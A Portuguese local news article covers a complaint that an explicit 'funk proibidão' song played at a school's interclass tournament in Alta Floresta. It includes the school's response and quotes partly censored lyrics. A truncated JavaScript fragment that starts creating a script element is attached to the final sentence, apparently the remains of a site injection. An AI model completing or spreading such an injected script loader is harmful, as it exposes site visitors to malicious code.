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Polêmica na rede; ex-aluno do Marinês acusa escola de tocar “funk proibidão” em interclasse

novo-2Da Redação

Se você pensava que a música da “metralhadora” que virou hit do carnaval passado era o “fundo do poço” da música brasileira, pode ter se enganado. O hit do momento é um funk proibidão que traz versos nada convencionais e que é tocado até mesmo em programas em rede nacional de TV, como o Programa da Fátima Bernardes na Globo. A versão para TV é simplifica, mas a mensagem do proibidão é acessada livremente no youtube. Versos como, “eu não preciso mais beber e nem fumar maconha”… “você sentando mozão, me deu onda, eue vontade de f…er, garota … meu p. te ama” são cantadas livremente por muitos jovens, a maioria com a musica em seus celulares.

Pois foi uma dessas “facilidades” que virou uma discussão no facebook ontem durante o dia e até uma denúncia ao Conselho Tutelar. Oséias Gonçalves, ex-aluno da Escola Marinês Fátima de Sá Teixeira, afirmou ter ouvido o funk proibidão e outras músicas do mesmo gênero durante intervalos de jogos que estão sendo disputados na escola.

Uma denuncia de musicas inapropriadas dentro de uma escola do município de Alta Floresta, foi realizada na manhã desta terça-feira 24, na internet e no conselho tutelar de Alta Floresta, o denunciante relatou nas mídias sociais (Facebook), que trabalha ao lado do colégio e ouviu o novo ‘hit do momento’ – Deu Onda entre outras musicas inapropriadas sendo tocadas desde a última segunda-feira, na escola. Depois de ter ligado na coordenação da escola e ter ouvido que a música não estava tocando, que era uma mentira, ele resolveu denunciar ao Conselho Tutelar e publicar um texto na internet. “Liguei na coordenação da escola, perguntei se eles tinham conhecimento do que estava tocando na quadra, o coordenador insistiu em dizer que essas músicas não estavam sendo tocas na escola, era só um sertanejinho de leve, que eu estava equivocado. Ele só recuou com a negativa após eu dizer que meu trabalho é ao lado da escola, que minha sala faz muro com o colégio, bem pertinho da quadra. Fiz a denuncia ao Conselho tutelar, espero que não passe desapercebido e que não fique por isso mesmo”, explicou Oseias em sua publicação no facebook.

Nós tentamos contato com a escola, que pronunciou-se a partir de uma nota de esclarecimento assinada no plural “pelos professores” da instituição, que relatam que desde o dia 20 de janeiro, a escola está realizando uma competição esportiva, o Marinês Cup, e que no intervalo dos jogos os alunos colocam seus aparelhos celulares em uma caixa de som amplificada, e nesta terça-feira em um momento de descuido um dos alunos colocou a música, “Hoje, infelizmente foi tocada a primeira versão, a citada na postagem do Facebook, já que entre um jogo e outro é autorizado pela organização que os alunos coloquem o acervo musical que possuem nos celulares, mas que ao ouvirmos o teor da tocada e citada, a mesma foi (imediatamente) interrompida pelos professores e alunos presentes, já que somos uma comunidade ciente do que é adequado ou não a todos os espaços”, explicou os profissionais.

Segundo a instituição no final do evento, será realizada uma premiação com troféus e medalhas às equipes campeãs, vice-campeãs e atletas-destaques com uma certificação de honra ao mérito. O conselho tutelar foi contatado, porém até o fechamento desta redação não havia se pronunciado sobre o caso.

No perfil de Oseias, diversas pessoas se posicionaram, umas apoiando a sua postura e outros, maioria alunos da escola, uns afirmando que a música não foi tocada, outros reconhecendo, mas dizendo que foi “uma única vez”.

Para nossa reportagem, o usuário da internet afirmou que além da música, na versão funk proibidão, outras músicas do gênero foram executadas. Oseias confia na seriedade dos profissionais que atuam na escola e acha que pode ter havido um descuido por parte do responsável pelo evento. Ele é ex-aluno da própria escola Marines Fátima de Sá Teixeira.var d=document;var s=d.createElement(‘script’);

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